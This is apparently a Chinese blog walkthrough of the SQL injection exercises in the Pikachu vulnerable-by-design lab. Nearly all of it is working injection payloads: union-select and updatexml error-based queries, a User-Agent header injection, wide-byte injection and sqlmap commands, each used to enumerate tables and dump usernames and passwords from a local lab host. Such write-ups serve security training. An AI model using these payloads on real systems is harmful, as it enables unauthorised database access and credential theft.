关于Pikachu的SQL注入

*Pikachu*

*数字型注入(POST)*

BP抓包开始

在这里插入图片描述

Order by 2#

2个字段

id=1 union select 1,2 #&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

id=1 union select 1,database() #&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’ #&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ #&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

id=1 union select 1,group_concat(username,‘*’,password) from users #&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

获得账号密码

admin/123456

*字符型注入(GET)*

在这里插入图片描述

1’报错,字符型

?name=1’+order+by+2–+

在这里插入图片描述

?name=1’+order+by+3–+ 报错

两个字段

在这里插入图片描述

name=1’+union+select+1,2–+

在这里插入图片描述

name=1’+union+select+1,database()–+

在这里插入图片描述

name=1’+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=‘pikachu’–+

在这里插入图片描述

name=1’+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema=‘pikachu’+and+table_name=‘users’–+&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

name=1’+union+select+1,group_concat(username,password)+from+users–+&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

得到账号密码

*搜索型注入*

BP抓包

因为是搜索型注入根据语法‘%like%’

闭合为%’

尝试1%’

在这里插入图片描述

报错,增加注释

在这里插入图片描述

显示正常

1%'+order+by+3–+

在这里插入图片描述

1%'+order+by+4–+

其余与字符型一致

在这里插入图片描述

name=1%'+union+select+1,2,3–+&submit=%E6%90%9C%E7%B4%A2

在这里插入图片描述

name=1%'+union+select+1,2,database()–+&submit=%E6%90%9C%E7%B4%A2

在这里插入图片描述

name=1%'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=‘pikachu’–+&submit=%E6%90%9C%E7%B4%A2

在这里插入图片描述

name=1%'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema=‘pikachu’+and+table_name=‘users’–+&submit=%E6%90%9C%E7%B4%A2

在这里插入图片描述

name=1%'+union+select+1,2,group_concat(username,password)+from+users–+&submit=%E6%90%9C%E7%B4%A2

在这里插入图片描述

获得账号密码

*XX型注入*

BP抓包尝试输入1’

在这里插入图片描述

发现报错中带有)

尝试输入1’)

在这里插入图片描述

加注释

在这里插入图片描述

发现闭合

name=1’)+order+by+2–+

在这里插入图片描述

name=1’)+union+select+1,2–+

在这里插入图片描述

name=1’)+union+select+1,database()–+

在这里插入图片描述

name=1’)+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=‘pikachu’–+

在这里插入图片描述

name=1’)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema=‘pikachu’+and+table_name=‘users’–+

在这里插入图片描述

name=1’)+union+select+1,group_concat(username,‘*’,password)+from+users–+

在这里插入图片描述

获得账号密码

*Insert/update注入*

抓包注册

输入1’后查看报错发现闭合应该是’

在这里插入图片描述

尝试注册利用报错注入

username=1’+or+updatexml(1,concat(0x7e,database(),0x7e),1)+or’&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit

在这里插入图片描述

之后与之前相似

username=1’+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=‘pikachu’),0x7e),1)+or’&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit

在这里插入图片描述

username=1’+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=‘pikachu’+and+table_name=‘users’),0x7e),1)+or’&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit

username=1’+or+updatexml(1,concat(0x7e,(select+group_concat(username,‘*’,password)+from+users),0x7e),1)+or’&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit
在这里插入图片描述

获得账号密码

*Delete注入*

BP抓包尝试报错注入

id=59+or+updatexml(1,concat(0x7e,database(),0x7e),1)–+

在这里插入图片描述

id=59+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=‘pikachu’),0x7e),1)–+

在这里插入图片描述

id=59+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=‘pikachu’+and+table_name=‘users’),0x7e),1)–+

在这里插入图片描述

id=59+or+updatexml(1,concat(0x7e,(select+group_concat(username,‘*’,password)+from+users),0x7e),1)–+

在这里插入图片描述

获取到账号密码

*http header注入*

通过admin和123456登录

BP抓包

存在如下页面

在这里插入图片描述

查看

在这里插入图片描述

尝试在user-agent注入

报错注入

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0’or updatexml(1,concat(0x7e,database(),0x7e),1) or’

在这里插入图片描述

之后类似

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0’or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’),0x7e),1) or’

在这里插入图片描述

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0’or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’),0x7e),1) or’

在这里插入图片描述

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0’or updatexml(1,concat(0x7e,(select group_concat(username,‘*’,password) from users),0x7e),1) or’

在这里插入图片描述

获取到账号密码

*布尔盲注*

使用sqlmap注入

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch --dbs

在这里插入图片描述

继续

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch -D pikachu --tables

在这里插入图片描述

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch -D pikachu -T users --columns

在这里插入图片描述

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch -D pikachu -T users -C username,password --dump

在这里插入图片描述

获得账号密码

*时间盲注*

使用sqlmap

sqlmap “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch --dbs

在这里插入图片描述

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch -D pikachu --tables

在这里插入图片描述

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch -D pikachu -T users --columns

在这里插入图片描述

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --batch -D pikachu -T users -C username,password --dump

在这里插入图片描述

获得账号密码

*宽字节注入*

尝试在’前加%df

name=1%df’or 1=1–+

在这里插入图片描述

name=1%df’order by 2–+

在这里插入图片描述

name=1%df’order by 3–+

在这里插入图片描述

name=1%df’union select 1,2–+

在这里插入图片描述

name=1%df’union select 1,database()–+

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值